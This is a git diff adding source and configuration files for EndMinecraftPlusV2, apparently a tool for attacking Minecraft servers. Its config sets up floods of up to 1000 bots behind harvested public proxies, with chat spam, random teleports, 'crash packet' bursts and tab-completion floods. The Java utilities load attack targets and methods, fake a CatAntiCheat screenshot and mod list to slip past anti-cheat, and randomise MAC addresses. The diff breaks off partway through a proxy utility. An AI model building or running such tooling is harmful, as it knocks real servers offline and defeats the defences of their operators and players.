+ PacketDelay: 100
+
+BotSettings:
+ # 可用占位符:
+ # $rnd - 随机字符
+ # $pwd - 随机生成密码
+ BotName: "ImOldSix_$rnd"
+ BotCount: 1000
+ # 随机字符规则 (仅影响BotName):
+ # 1 - Normal - 简单随机化
+ # 2 - Ili - iii混淆式
+ # 3 - ABC - 纯字母
+ # 4 - 123 - 纯数字
+ RandomFlag: 1
+ RandomMinLength: 6
+ RandomMaxLength: 8
+ # 是否回复KeepAlive数据包
+ # 如果你发现假人断开连接的原因与"Timeout"相关,请尝试切换此项。
+ KeepAlive: false
+ # 重新加入前模拟刷新服务器列表
+ GetMotdBeforeRejoin: true
+ GetMotdCount: 5
+ GetMotdDelay: 500
+ # 自动重连次数/间隔
+ RejoinCount: 5
+ RejoinDelay: 3500
+ # 若踢出信息中检测到以下字段,则执行重连
+ RejoinDetect:
+ - "AntiAttack"
+ # 若踢出信息为空,则无条件执行重连
+ EmptyMsgRejoin: true
+ # 若聊天信息中检测到以下字段,则尝试进行点击验证
+ ClickVerifiesDetect:
+ - "点击验证"
+ # 支持占位符: $userName $rnd $pwd
+ RegisterCommands:
+ - "/register $pwd $pwd"
+ - "/login $pwd"
+ CustomChat:
+ - "喵喵喵萌喵~ $rnd"
+ - "喵喵喵萌~ $rnd"
+ - "喵喵喵~ $rnd"
+ - "喵喵~ $rnd"
+ - "喵~ $rnd"
+ # 显示来自服务器的聊天信息
+ ShowServerMessages: true
+ # 行动流程
+ # async - 异步执行任务
+ # wait - 等待:<时间(ms)>
+ # chatSpam - 随机发送聊天信息:<次数>_<间隔(ms)>
+ # randomTeleport - 随机传送:<次数>_<间隔(ms)>
+ # backTeleport - 回到重生点
+ # register&Login - 执行注册/登录:_<是否使用已生成密码>_<自定义密码>
+ # crashPacket - 发送崩服数据包:<数量>
+ # tabAttack - 执行Tab补全:<数量>_<间隔(ms)>
+ Actions:
+ - "register&Login:login_true_genshinImpact"
+ - "async|chatSpam:10_3000"
+ - "async|randomTeleport:25_100"
+ - "wait:3000"
+ - "async|backTeleport"
+ - "async|crashPacket:75"
+ - "async|tabAttack:25_75"
+
+Proxy:
+ # 代理获取方式:
+ # 1 - API - 从API获取
+ # 2 - File - 从本地读取
+ # 3 - File + API - 两种方式同时获取
+ GetType: 1
+ # 代理类型:
+ # 1 - HTTP/HTTPS
+ # 2 - SOCKS4
+ # 3 - SOCKS5
+ ProxyType: 1
+ UpdateTime: 300
+ File: "proxies.txt"
+ APIs:
+ - "http://www.66ip.cn/mo.php?tqsl=9999"
+ - "https://www.89ip.cn/tqdl.html?api=1&num=9999"
+ # 保存能连接到目标服务器的代理地址 (如果支持)
+ # 位置: working-proxies.txt
+ SaveWorkingProxy: true
\ No newline at end of file
diff --git a/Main/src/data.yml b/Main/src/data.yml
new file mode 100644
index 0000000..8d15fb8
--- /dev/null
+++ b/Main/src/data.yml
@@ -0,0 +1 @@
+Data: []
\ No newline at end of file
diff --git a/Tools/Tools.iml b/Tools/Tools.iml
new file mode 100644
index 0000000..2f75006
--- /dev/null
+++ b/Tools/Tools.iml
@@ -0,0 +1,38 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/Tools/src/META-INF/MANIFEST.MF b/Tools/src/META-INF/MANIFEST.MF
new file mode 100644
index 0000000..8001206
--- /dev/null
+++ b/Tools/src/META-INF/MANIFEST.MF
@@ -0,0 +1,3 @@
+Manifest-Version: 1.0
+Main-Class: cn.serendipityr.EndMinecraftPlusV2.EndMinecraftPlusV2
+
diff --git a/Tools/src/cn/serendipityr/EndMinecraftPlusV2/Tools/ConfigUtil.java b/Tools/src/cn/serendipityr/EndMinecraftPlusV2/Tools/ConfigUtil.java
new file mode 100644
index 0000000..98120e9
--- /dev/null
+++ b/Tools/src/cn/serendipityr/EndMinecraftPlusV2/Tools/ConfigUtil.java
@@ -0,0 +1,430 @@
+package cn.serendipityr.EndMinecraftPlusV2.Tools;
+
+import cc.summermc.bukkitYaml.file.YamlConfiguration;
+
+import javax.naming.directory.Attribute;
+import javax.naming.directory.InitialDirContext;
+import javax.script.ScriptEngine;
+import javax.script.ScriptEngineManager;
+import javax.script.ScriptException;
+import java.io.*;
+import java.nio.file.Files;
+import java.nio.file.Path;
+import java.nio.file.Paths;
+import java.util.*;
+import java.util.jar.JarEntry;
+import java.util.jar.JarFile;
+import java.util.stream.Stream;
+
+public class ConfigUtil {
+ public static File configFile;
+ public static YamlConfiguration config;
+ public static Boolean isLinux = false;
+ public static Integer CfgVer;
+ public static String AttackAddress;
+ public static Integer AttackPort;
+ public static Integer AttackMethod;
+ public static Integer AttackTime;
+ public static Long ConnectDelay;
+ public static Long ConnectTimeout;
+ public static Integer MaxConnections;
+ public static Boolean AntiAttackMode;
+ public static String DoubleExploitPlayer;
+ public static String DebugPlayer;
+ public static Boolean DebugPlayerActivities;
+ public static List DebugPlayerActions;
+ public static Boolean ShowFails;
+ public static String BotName;
+ public static Integer RandomFlag;
+ public static Integer RandomMinLength;
+ public static Integer RandomMaxLength;
+ public static Boolean KeepAlive;
+ public static Integer BotCount;
+ public static List RegisterCommands;
+ public static Boolean GetMotdBeforeRejoin;
+ public static Integer GetMotdCount;
+ public static Long GetMotdDelay;
+ public static Integer RejoinCount;
+ public static List RejoinDetect;
+ public static Boolean EmptyMsgRejoin;
+ public static Long RejoinDelay;
+ public static List ClickVerifiesDetect;
+ public static List CustomChat;
+ public static List BotActions;
+ public static Integer ProxyGetType;
+ public static Integer ProxyType;
+ public static Integer ProxyUpdateTime;
+ public static File ProxyFile;
+ public static List ProxyAPIs;
+ public static Boolean SaveWorkingProxy;
+ public static Boolean ForgeSupport;
+ public static Boolean ReadFromFiles;
+ public static HashMap ForgeModList;
+ public static Boolean CatAntiCheat;
+ public static File CACCustomScreenShot;
+ public static List CACLoadedClass;
+ public static File CACLoadedMods;
+ public static Boolean RandomMAC;
+ public static Boolean ShowServerMessages;
+ public static Integer ServerCrasherMode;
+ public static Long ServerCrasherPacketDelay;
+
+ public int loadConfig(int cfgVer) {
+ try {
+ configFile = new File("config.yml");
+
+ if (!configFile.exists()) {
+ LogUtil.doLog(1, "载入配置文件失败! 文件不存在。", null);
+ return 0;
+ }
+
+ config = YamlConfiguration.loadConfiguration(configFile);
+
+ CfgVer = config.getInt("CfgVer");
+
+ AttackAddress = config.getString("AttackSettings.Address");
+ AttackPort = config.getInt("AttackSettings.Port");
+ AttackMethod = config.getInt("AttackSettings.Method");
+ AttackTime = config.getInt("AttackSettings.Time");
+ ConnectDelay = config.getLong("AttackSettings.ConnectDelay");
+ ConnectTimeout = config.getLong("AttackSettings.ConnectTimeout");
+ MaxConnections = config.getInt("AttackSettings.MaxConnections");
+ AntiAttackMode = config.getBoolean("AttackSettings.AntiAttackMode");
+ DoubleExploitPlayer = config.getString("AttackSettings.DoubleExploitPlayer");
+ DebugPlayer = config.getString("AttackSettings.DebugPlayer");
+ DebugPlayerActivities = config.getBoolean("AttackSettings.DebugPlayerActivities.Enable");
+ DebugPlayerActions = config.getStringList("AttackSettings.DebugPlayerActivities.Actions");
+ ShowFails = config.getBoolean("AttackSettings.ShowFails");
+ BotName = config.getString("BotSettings.BotName");
+ BotCount = config.getInt("BotSettings.BotCount");
+ RandomFlag = config.getInt("BotSettings.RandomFlag");
+ RandomMinLength = config.getInt("BotSettings.RandomMinLength");
+ RandomMaxLength = config.getInt("BotSettings.RandomMaxLength");
+ KeepAlive = config.getBoolean("BotSettings.KeepAlive");
+ RegisterCommands = config.getStringList("BotSettings.RegisterCommands");
+ GetMotdBeforeRejoin = config.getBoolean("BotSettings.GetMotdBeforeRejoin");
+ GetMotdCount = config.getInt("BotSettings.GetMotdCount");
+ GetMotdDelay = config.getLong("BotSettings.GetMotdDelay");
+ RejoinCount = config.getInt("BotSettings.RejoinCount");
+ RejoinDetect = config.getStringList("BotSettings.RejoinDetect");
+ EmptyMsgRejoin = config.getBoolean("BotSettings.EmptyMsgRejoin");
+ RejoinDelay = config.getLong("BotSettings.RejoinDelay");
+ ClickVerifiesDetect = config.getStringList("BotSettings.ClickVerifiesDetect");
+ CustomChat = config.getStringList("BotSettings.CustomChat");
+ ShowServerMessages = config.getBoolean("BotSettings.ShowServerMessages");
+ BotActions = config.getStringList("BotSettings.Actions");
+ ProxyGetType = config.getInt("Proxy.GetType");
+ ProxyType = config.getInt("Proxy.ProxyType");
+ ProxyUpdateTime = config.getInt("Proxy.UpdateTime");
+ ProxyFile = new File(config.getString("Proxy.File"));
+ ProxyAPIs = config.getStringList("Proxy.APIs");
+ SaveWorkingProxy = config.getBoolean("Proxy.SaveWorkingProxy");
+ ForgeSupport = config.getBoolean("AdvancedSettings.ForgeSupport.Enable");
+ ReadFromFiles = config.getBoolean("AdvancedSettings.ForgeSupport.ReadFromFiles");
+
+ if (ForgeSupport) {
+ ForgeModList = new HashMap<>();
+ if (ReadFromFiles) {
+ ForgeModList.putAll(readModInfo("mods"));
+ }
+ for (String modInfo:config.getStringList("AdvancedSettings.ForgeSupport.ModList")) {
+ String modName = modInfo.split(":")[0];
+ String modVersion = modInfo.split(":")[1];
+ ForgeModList.put(modName, modVersion);
+ }
+ LogUtil.doLog(0, "当前载入的Mods: ", "ForgeSupport");
+ LogUtil.doLog(0, ForgeModList.toString(), "ForgeSupport");
+ }
+
+ CatAntiCheat = config.getBoolean("AdvancedSettings.CatAntiCheat.Enable");
+
+ if (CatAntiCheat) {
+ CACCustomScreenShot = new File(config.getString("AdvancedSettings.CatAntiCheat.CustomScreenShot"));
+ CACLoadedClass = config.getStringList("AdvancedSettings.CatAntiCheat.LoadedClass");
+ CACLoadedMods = new File(config.getString("AdvancedSettings.CatAntiCheat.LoadedMods"));
+
+ if (!CACCustomScreenShot.exists()) {
+ LogUtil.doLog(1, "CustomScreenShot不存在,CatAntiCheat相关功能已关闭。", null);
+ CatAntiCheat = false;
+ }
+
+ if (CACLoadedClass.isEmpty()) {
+ LogUtil.doLog(1, "LoadedClass为空,CatAntiCheat相关功能已关闭。", null);
+ CatAntiCheat = false;
+ }
+
+ if (Objects.requireNonNull(CACLoadedMods.listFiles()).length <= 5) {
+ LogUtil.doLog(1, "LoadedMods数量不足(<=5),CatAntiCheat相关功能已关闭。", null);
+ CatAntiCheat = false;
+ }
+
+ if (!ForgeSupport) {
+ LogUtil.doLog(1, "ForgeSupport未开启,CatAntiCheat相关功能已关闭。", null);
+ CatAntiCheat = false;
+ } else {
+ ForgeModList.put("catanticheat", "1.2.6");
+ }
+ }
+
+ RandomMAC = config.getBoolean("AdvancedSettings.MACChecker.RandomMAC");
+ ServerCrasherMode = config.getInt("AdvancedSettings.ServerCrasher.Mode");
+ ServerCrasherPacketDelay = config.getLong("AdvancedSettings.ServerCrasher.PacketDelay");
+
+ checkSRV();
+
+ LogUtil.doLog(0, "==============================================================", "CFGUtil");
+ LogUtil.doLog(0, "服务器地址: " + AttackAddress, "CFGUtil");
+ LogUtil.doLog(0, "服务器端口: " + AttackPort, "CFGUtil");
+ LogUtil.doLog(0, "攻击方式: " + getAttackMethod(AttackMethod), "CFGUtil");
+ LogUtil.doLog(0, "攻击时间: " + AttackTime + "秒", "CFGUtil");
+ LogUtil.doLog(0, "连接间隔: " + timeToSeconds(ConnectDelay) + "秒", "CFGUtil");
+ LogUtil.doLog(0, "最大连接数: " + MaxConnections + "个", "CFGUtil");
+ LogUtil.doLog(0, "Forge支持: " + booleanToStr(ForgeSupport), "CFGUtil");
+ LogUtil.doLog(0, "AntiAttack模式: " + booleanToStr(AntiAttackMode), "CFGUtil");
+ LogUtil.doLog(0, "CatAntiCheat绕过: " + booleanToStr(CatAntiCheat), "CFGUtil");
+ LogUtil.doLog(0, "代理类型: " + getProxyFrom(ProxyGetType), "CFGUtil");
+ LogUtil.doLog(0, "代理API: " + ProxyAPIs.size() + "个", "CFGUtil");
+ LogUtil.doLog(0, "代理更新间隔: " + ProxyUpdateTime + "秒", "CFGUtil");
+ LogUtil.doLog(0, "==============================================================", "CFGUtil");
+ LogUtil.emptyLog();
+ } catch (Exception e) {
+ LogUtil.emptyLog();
+ LogUtil.doLog(1, "载入配置文件失败! 详细信息: " + e, null);
+ LogUtil.doLog(-1, "配置可能存在编码问题,是否尝试转换编码以解决问题? [y/n]:", "CFGUtil");
+ Scanner scanner = new Scanner(System.in);
+ if (scanner.nextLine().contains("y")) {
+ String currentCharset = getFileCharset(configFile);
+
+ File tempConfigFile = new File("config_temp.yml");
+
+ switch (currentCharset) {
+ case "GBK":
+ if (0 == convertFileCharset(configFile, tempConfigFile, currentCharset, "UTF-8")) {
+ return 0;
+ }
+ break;
+ case "UTF-8":
+ default:
+ if (0 == convertFileCharset(configFile, tempConfigFile, currentCharset, "GBK")) {
+ return 0;
+ }
+ break;
+ }
+
+ if (configFile.delete()) {
+ tempConfigFile.renameTo(configFile);
+ }
+
+ LogUtil.doLog(0, "任务完成。转换前编码: " + currentCharset + " | 转换后编码: " + getFileCharset(configFile) , "CFGUtil");
+ }
+
+ loadConfig(cfgVer);
+ }
+
+ if (!(cfgVer == CfgVer)) {
+ LogUtil.doLog(1, "载入配置文件失败! 配置文件版本不匹配,请前往发布页更新配置文件。", null);
+ return 0;
+ }
+
+ return 1;
+ }
+
+ public static String getFileCharset(File file) {
+ String charset = "GBK";
+
+ byte[] first3Bytes = new byte[3];
+
+ try {
+ boolean checked = false;
+ BufferedInputStream bis = new BufferedInputStream(Files.newInputStream(file.toPath()));
+ bis.mark(100);
+
+ int read = bis.read(first3Bytes, 0, 3);
+
+ if (read == -1) {
+ bis.close();
+ return charset; // 文件编码为 ANSI
+ } else if (first3Bytes[0] == (byte) 0xFF && first3Bytes[1] == (byte) 0xFE) {
+ charset = "UTF-16LE"; // 文件编码为 Unicode
+ checked = true;
+ } else if (first3Bytes[0] == (byte) 0xFE && first3Bytes[1] == (byte) 0xFF) {
+ charset = "UTF-16BE"; // 文件编码为 Unicode big endian
+ checked = true;
+ } else if (first3Bytes[0] == (byte) 0xEF && first3Bytes[1] == (byte) 0xBB
+ && first3Bytes[2] == (byte) 0xBF) {
+ charset = "UTF-8"; // 文件编码为 UTF-8
+ checked = true;
+ }
+
+ bis.reset();
+
+ if (!checked) {
+ while ((read = bis.read()) != -1) {
+ if (read >= 0xF0)
+ break;
+ if (0x80 <= read && read <= 0xBF)
+ break;
+ if (0xC0 <= read && read <= 0xDF) {
+ read = bis.read();
+ if (!(0x80 <= read && read <= 0xBF)) {
+ break;
+ }
+ } else if (0xE0 <= read) {
+ read = bis.read();
+ if (0x80 <= read && read <= 0xBF) {
+ read = bis.read();
+ if (0x80 <= read && read <= 0xBF) {
+ charset = "UTF-8";
+ }
+ }
+ break;
+ }
+ }
+ }
+ bis.close();
+ } catch (Exception e) {
+ e.printStackTrace();
+ }
+
+ return charset;
+ }
+
+ public static int convertFileCharset(File inputFile, File outputFile,String currentCharset ,String targetCharset) {
+ try {
+ InputStreamReader isr = new InputStreamReader(Files.newInputStream(inputFile.toPath()) ,currentCharset);
+ OutputStreamWriter osw = new OutputStreamWriter(Files.newOutputStream(outputFile.toPath()) ,targetCharset);
+
+ int len;
+ while((len = isr.read())!=-1){
+ osw.write(len);
+ }
+
+ osw.close();
+ isr.close();
+ } catch (Exception e) {
+ LogUtil.doLog(1, "转换文件编码时发生错误! 详细信息: " + e, null);
+ return 0;
+ }
+
+ return 1;
+ }
+
+ public static String getAttackMethod(int type) {
+ switch (type) {
+ case 1:
+ return "BotAttack";
+ case 2:
+ return "MotdAttack";
+ case 3:
+ return "MotdAttackP";
+ case 4:
+ return "DoubleAttack";
+ case 5:
+ return "BotDebug";
+ default:
+ return "Error";
+ }
+ }
+
+ public static String getProxyFrom(int type) {
+ switch (type) {
+ case 1:
+ return "API";
+ case 2:
+ return "File";
+ case 3:
+ return "API + File";
+ default:
+ return "Error";
+ }
+ }
+
+ public static String booleanToStr(boolean type) {
+ return type ? "开启" : "关闭";
+ }
+
+ public static Double timeToSeconds(long time) {
+ return (double) time / 1000;
+ }
+
+ public static void checkSRV() {
+ Hashtable hashtable = new Hashtable<>();
+ hashtable.put("java.naming.factory.initial", "com.sun.jndi.dns.DnsContextFactory");
+ hashtable.put("java.naming.provider.url", "dns:");
+
+ try {
+ Attribute attribute = (new InitialDirContext(hashtable))
+ .getAttributes("_Minecraft._tcp." + AttackAddress,
+ new String[]{"SRV"})
+ .get("srv");
+ if (attribute != null) {
+ String[] re = attribute.get().toString().split(" ", 4);
+ LogUtil.doLog(0, "=============================================================", "CheckSRV");
+ LogUtil.doLog(0,"域名: " + AttackAddress, "CheckSRV");
+ LogUtil.doLog(0,"源地址: " + re[3], "CheckSRV");
+ LogUtil.doLog(0,"源端口: " + re[2], "CheckSRV");
+ LogUtil.doLog(-1,"检测到服务器存在SRV记录,是否替换地址为SRV解析记录?[y/n]: ", "CheckSRV");
+ Scanner scanner = new Scanner(System.in);
+ String cmd = scanner.nextLine();
+
+ if (cmd.equals("y")) {
+ AttackAddress = re[3];
+ AttackPort = Integer.parseInt(re[2]);
+ }
+ }
+ } catch (Exception ignored) {}
+ }
+
+ public static HashMap readModInfo(String directoryPath) {
+ HashMap modInfoMap = new HashMap<>();
+
+ try (Stream paths = Files.walk(Paths.get(directoryPath))) {
+ paths.forEach(filePath -> {
+ if (Files.isRegularFile(filePath) && filePath.toString().endsWith(".jar")) {
+ try (JarFile jarFile = new JarFile(filePath.toFile())) {
+ JarEntry entry = jarFile.getJarEntry("mcmod.info");
+ if (entry != null) {
+ try (BufferedReader reader = new BufferedReader(new InputStreamReader(jarFile.getInputStream(entry)))) {
+ String line;
+ StringBuilder jsonString = new StringBuilder();
+ while ((line = reader.readLine()) != null) {
+ jsonString.append(line);
+ }
+ extractModInfo(jsonString.toString(), modInfoMap);
+ }
+ }
+ } catch (IOException e) {
+ LogUtil.doLog(1, "[ForgeSupport] 读取modInfo时发生错误: " + e, null);
+ }
+ }
+ });
+ } catch (IOException e) {
+ LogUtil.doLog(1, "[ForgeSupport] 读取modInfo时发生错误: " + e, null);
+ }
+ return modInfoMap;
+ }
+
+ private static void extractModInfo(String jsonContent, HashMap modInfoMap) {
+ ScriptEngine engine = new ScriptEngineManager().getEngineByName("nashorn");
+ try {
+ String script = "Java.asJSONCompatible(" + jsonContent + ")";
+ Object result = engine.eval(script);
+ if (result instanceof java.util.List) {
+ java.util.List> resultList = (java.util.List>) result;
+ for (Object obj : resultList) {
+ if (obj instanceof java.util.Map) {
+ java.util.Map, ?> map = (java.util.Map, ?>) obj;
+ Object modid = map.get("modid");
+ Object version = map.get("version");
+ if (modid != null && version != null) {
+ modInfoMap.put(modid.toString(), version.toString());
+ }
+ }
+ }
+ }
+ } catch (ScriptException e) {
+ LogUtil.doLog(1, "[ForgeSupport] 读取modInfo时发生错误: " + e, null);
+ }
+ }
+
+}
diff --git a/Tools/src/cn/serendipityr/EndMinecraftPlusV2/Tools/DataUtil.java b/Tools/src/cn/serendipityr/EndMinecraftPlusV2/Tools/DataUtil.java
new file mode 100644
index 0000000..14a3676
--- /dev/null
+++ b/Tools/src/cn/serendipityr/EndMinecraftPlusV2/Tools/DataUtil.java
@@ -0,0 +1,109 @@
+package cn.serendipityr.EndMinecraftPlusV2.Tools;
+
+import cc.summermc.bukkitYaml.file.YamlConfiguration;
+
+import java.io.File;
+import java.io.IOException;
+import java.util.ArrayList;
+import java.util.HashMap;
+import java.util.List;
+import java.util.Scanner;
+
+public class DataUtil {
+ public static boolean notModify = false;
+ public static List botRegPasswords;
+ public static HashMap botRegPasswordsMap = new HashMap<>();
+
+ public static void loadData() {
+ File dataFile = new File("data.yml");
+
+ if (dataFile.exists()) {
+ YamlConfiguration data = YamlConfiguration.loadConfiguration(dataFile);
+ botRegPasswords = data.getStringList("Data");
+ botRegPasswords.remove("");
+
+ String lastBotName = data.getString("LastBotName");
+ Integer lastRandomFlag = data.getInt("LastRandomFlag");
+ String lastRandomLength = data.getString("LastRandomLength");
+
+ boolean needReset;
+
+ needReset = !ConfigUtil.BotName.equals(lastBotName) || !ConfigUtil.RandomFlag.equals(lastRandomFlag) || !(ConfigUtil.RandomMinLength + "|" + ConfigUtil.RandomMaxLength).equals(lastRandomLength);
+
+ if (lastBotName != null && needReset) {
+ LogUtil.doLog(-1, "检测到BotName已被修改,是否重置数据文件以使更改生效? [y/n]:", "DataUtil");
+ Scanner scanner = new Scanner(System.in);
+ if (scanner.nextLine().contains("y")) {
+ if (dataFile.delete()) {
+ LogUtil.doLog(0, "数据文件已成功重置。", "DataUtil");
+ } else {
+ LogUtil.doLog(0, "修改数据文件时出错,操作成功未完成。", "DataUtil");
+ }
+ LogUtil.emptyLog();
+ loadData();
+ return;
+ }
+
+ notModify = true;
+ LogUtil.emptyLog();
+ }
+ } else {
+ botRegPasswords = new ArrayList<>();
+ }
+
+ if (botRegPasswords.size() < ConfigUtil.BotCount) {
+ int count = ConfigUtil.BotCount - botRegPasswords.size();
+
+ for (int i = 0; i < count; i++) {
+ String newBotName;
+
+ switch (ConfigUtil.RandomFlag) {
+ case 2:
+ newBotName = ConfigUtil.BotName.replace("$rnd", OtherUtils.getRandomString_Ili(ConfigUtil.RandomMinLength,ConfigUtil.RandomMaxLength));
+ break;
+ case 3:
+ newBotName = ConfigUtil.BotName.replace("$rnd", OtherUtils.getRandomString_Abc(ConfigUtil.RandomMinLength,ConfigUtil.RandomMaxLength));
+ break;
+ case 4:
+ newBotName = ConfigUtil.BotName.replace("$rnd", OtherUtils.getRandomString_123(ConfigUtil.RandomMinLength,ConfigUtil.RandomMaxLength));
+ break;
+ case 1:
+ default:
+ newBotName = ConfigUtil.BotName.replace("$rnd", OtherUtils.getRandomString(ConfigUtil.RandomMinLength,ConfigUtil.RandomMaxLength));
+ break;
+ }
+
+ String newBotPwd = OtherUtils.getRandomString(8,10);
+ botRegPasswords.add(newBotName + "@" + newBotPwd);
+ }
+ }
+
+ for (String PwdData:botRegPasswords) {
+ try {
+ String[] aPwdData = PwdData.split("@");
+ botRegPasswordsMap.put(aPwdData[0], aPwdData[1]);
+ } catch (Exception ignored) {}
+ }
+
+ updateData(botRegPasswords);
+ }
+
+ public static void updateData(List dataList) {
+ File dataFile = new File("data.yml");
+ YamlConfiguration data = YamlConfiguration.loadConfiguration(dataFile);
+
+ data.set("Data", dataList);
+
+ if (!notModify) {
+ data.set("LastBotName", ConfigUtil.BotName);
+ data.set("LastRandomFlag", ConfigUtil.RandomFlag);
+ data.set("LastRandomLength", ConfigUtil.RandomMinLength + "|" + ConfigUtil.RandomMaxLength);
+ }
+
+ try {
+ data.save(dataFile);
+ } catch (IOException e) {
+ throw new RuntimeException(e);
+ }
+ }
+}
diff --git a/Tools/src/cn/serendipityr/EndMinecraftPlusV2/Tools/HTTPUtil.java b/Tools/src/cn/serendipityr/EndMinecraftPlusV2/Tools/HTTPUtil.java
new file mode 100644
index 0000000..c298b51
--- /dev/null
+++ b/Tools/src/cn/serendipityr/EndMinecraftPlusV2/Tools/HTTPUtil.java
@@ -0,0 +1,38 @@
+package cn.serendipityr.EndMinecraftPlusV2.Tools;
+
+import java.io.BufferedReader;
+import java.io.InputStreamReader;
+import java.net.URL;
+import java.net.URLConnection;
+
+public class HTTPUtil {
+ public static String sendGet(String url) {
+ StringBuilder result = new StringBuilder();
+ BufferedReader in = null;
+ try {
+ URL realUrl = new URL(url);
+ URLConnection connection = realUrl.openConnection();
+ connection.setRequestProperty("accept", "*/*");
+ connection.setRequestProperty("connection", "Keep-Alive");
+ connection.setRequestProperty("user-agent", "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;SV1)");
+ connection.connect();
+
+ in = new BufferedReader(new InputStreamReader(connection.getInputStream()));
+ String line;
+ while ((line = in.readLine()) != null) {
+ result.append(line);
+ }
+ } catch (Exception e) {
+ LogUtil.doLog(1, "HTTP请求出错! 详细信息: " + e, null);
+ } finally {
+ try {
+ if (in != null) {
+ in.close();
+ }
+ } catch (Exception e) {
+ LogUtil.doLog(1, "IO异常! 详细信息: " + e, null);
+ }
+ }
+ return result.toString();
+ }
+}
diff --git a/Tools/src/cn/serendipityr/EndMinecraftPlusV2/Tools/LogUtil.java b/Tools/src/cn/serendipityr/EndMinecraftPlusV2/Tools/LogUtil.java
new file mode 100644
index 0000000..f36754b
--- /dev/null
+++ b/Tools/src/cn/serendipityr/EndMinecraftPlusV2/Tools/LogUtil.java
@@ -0,0 +1,34 @@
+package cn.serendipityr.EndMinecraftPlusV2.Tools;
+
+public class LogUtil {
+ public static void doLog(int type, String content, String extra) {
+ String logType;
+ String msg;
+
+ switch (type) {
+ case 1:
+ logType = "[Internal Error]";
+ break;
+ case 2:
+ logType = "[Attack Error]";
+ break;
+ case 3:
+ logType = "[DEBUG]";
+ break;
+ default:
+ logType = "[" + extra + "]";
+ }
+
+ msg = logType + " " + content;
+
+ if (type == -1) {
+ System.out.print(msg);
+ } else {
+ System.out.println(msg);
+ }
+ }
+
+ public static void emptyLog() {
+ System.out.println();
+ }
+}
diff --git a/Tools/src/cn/serendipityr/EndMinecraftPlusV2/Tools/OtherUtils.java b/Tools/src/cn/serendipityr/EndMinecraftPlusV2/Tools/OtherUtils.java
new file mode 100644
index 0000000..afda034
--- /dev/null
+++ b/Tools/src/cn/serendipityr/EndMinecraftPlusV2/Tools/OtherUtils.java
@@ -0,0 +1,99 @@
+package cn.serendipityr.EndMinecraftPlusV2.Tools;
+
+import java.io.File;
+import java.lang.reflect.Method;
+import java.net.URL;
+import java.net.URLClassLoader;
+import java.util.Random;
+import java.util.regex.Matcher;
+import java.util.regex.Pattern;
+
+public class OtherUtils {
+ public static void doSleep(long millis) {
+ try {
+ Thread.sleep(millis);
+ } catch (InterruptedException e) {
+ e.printStackTrace();
+ }
+ }
+
+ public static Matcher matches(String str, String regex) {
+ Pattern mPattern = Pattern.compile(regex);
+ return mPattern.matcher(str);
+ }
+
+ public static String getRandomString(int minLength, int maxLength) {
+ String str = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789";
+ Random random = new Random();
+ int length = random.nextInt(maxLength) % (maxLength - minLength + 1) + minLength;
+ StringBuilder stringBuilder = new StringBuilder();
+ for (int i = 0; i < length; ++i) {
+ int number = random.nextInt(62);
+ stringBuilder.append(str.charAt(number));
+ }
+ return stringBuilder.toString();
+ }
+
+ public static String getRandomString_Ili(int minLength, int maxLength) {
+ String str = "Ili";
+ Random random = new Random();
+ int length = random.nextInt(maxLength) % (maxLength - minLength + 1) + minLength;
+ StringBuilder sb = new StringBuilder();
+ for (int i = 0; i < length; ++i) {
+ int number = random.nextInt(3);
+ sb.append(str.charAt(number));
+ }
+ return sb.toString();
+ }
+
+ public static String getRandomString_Abc(int minLength, int maxLength) {
+ String str = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";
+ Random random = new Random();
+ int length = random.nextInt(maxLength) % (maxLength - minLength + 1) + minLength;
+ StringBuilder sb = new StringBuilder();
+ for (int i = 0; i < length; ++i) {
+ int number = random.nextInt(52);
+ sb.append(str.charAt(number));
+ }
+ return sb.toString();
+ }
+
+ public static String getRandomString_123(int minLength, int maxLength) {
+ String str = "1234567890";
+ Random random = new Random();
+ int length = random.nextInt(maxLength) % (maxLength - minLength + 1) + minLength;
+ StringBuilder sb = new StringBuilder();
+ for (int i = 0; i < length; ++i) {
+ int number = random.nextInt(10);
+ sb.append(str.charAt(number));
+ }
+ return sb.toString();
+ }
+
+ public static Integer getRandomInt(int min, int max) {
+ return (int)(Math.random()*(max-min+1)+min);
+ }
+
+ public static float getRandomFloat(double min, double max) {
+ return (float) (Math.random()*(max-min)+min);
+ }
+
+ public static String getRandomUser(boolean isDoubleAttack) {
+ if (isDoubleAttack) {
+ return ConfigUtil.DoubleExploitPlayer + "@12345678Aa!";
+ }
+
+ return DataUtil.botRegPasswords.get(new Random().nextInt(DataUtil.botRegPasswords.size()));
+ }
+
+ public static void loadLibrary(File file) {
+ try {
+ URLClassLoader cl = (URLClassLoader) ClassLoader.getSystemClassLoader();
+ Method method = URLClassLoader.class.getDeclaredMethod("addURL", URL.class);
+ method.setAccessible(true);
+ method.invoke(cl, file.toURL());
+ } catch (Exception e) {
+ e.printStackTrace();
+ }
+ }
+}
diff --git a/Tools/src/cn/serendipityr/EndMinecraftPlusV2/Tools/ProxyUtil.java b/Tools/src/cn/serendipityr/EndMinecraftPlusV2/Tools/ProxyUtil.java
new file mode 100644
index 0000000..b46efc8
--- /dev/null
+++ b/Tools/src/cn/serendipityr/EndMinecraftPlusV2/Tools/ProxyUtil.java
@@ -0,0 +1,129 @@
+package cn.serendipityr.EndMinecraftPlusV2.Tools;
+
+import java.io.*;
+import java.net.InetSocketAddress;
+import java.net.Proxy;
+import java.text.SimpleDateFormat;
+import java.util.Date;
+import java.util.concurrent.ConcurrentHashMap;
+import java.util.regex.Matcher;
+
+public class ProxyUtil {
+ public static Date runTime;
+ public static ConcurrentHashMap proxies = new ConcurrentHashMap<>();
+ public static ConcurrentHashMap workingProxiesList = new ConcurrentHashMap<>();
+
+ public static void getProxies() {
+ String getMethod;
+
+ switch (ConfigUtil.ProxyGetType) {
+ case 2:
+ getMethod = "通过本地文件获取";
+ getProxiesFromFile(true);
+ break;
+ case 3:
+ getMethod = "通过API+本地文件获取";
+ getProxiesFromFile(true);
+ getProxiesFromAPIs(false);
+ break;
+ case 1:
+ default:
+ getMethod = "通过API获取";
+ getProxiesFromAPIs(true);
+ }
+
+ LogUtil.doLog(0, "获取代理完成! (" + getMethod + " | 数量: " + proxies.size() + "个)", "ProxyUtil");
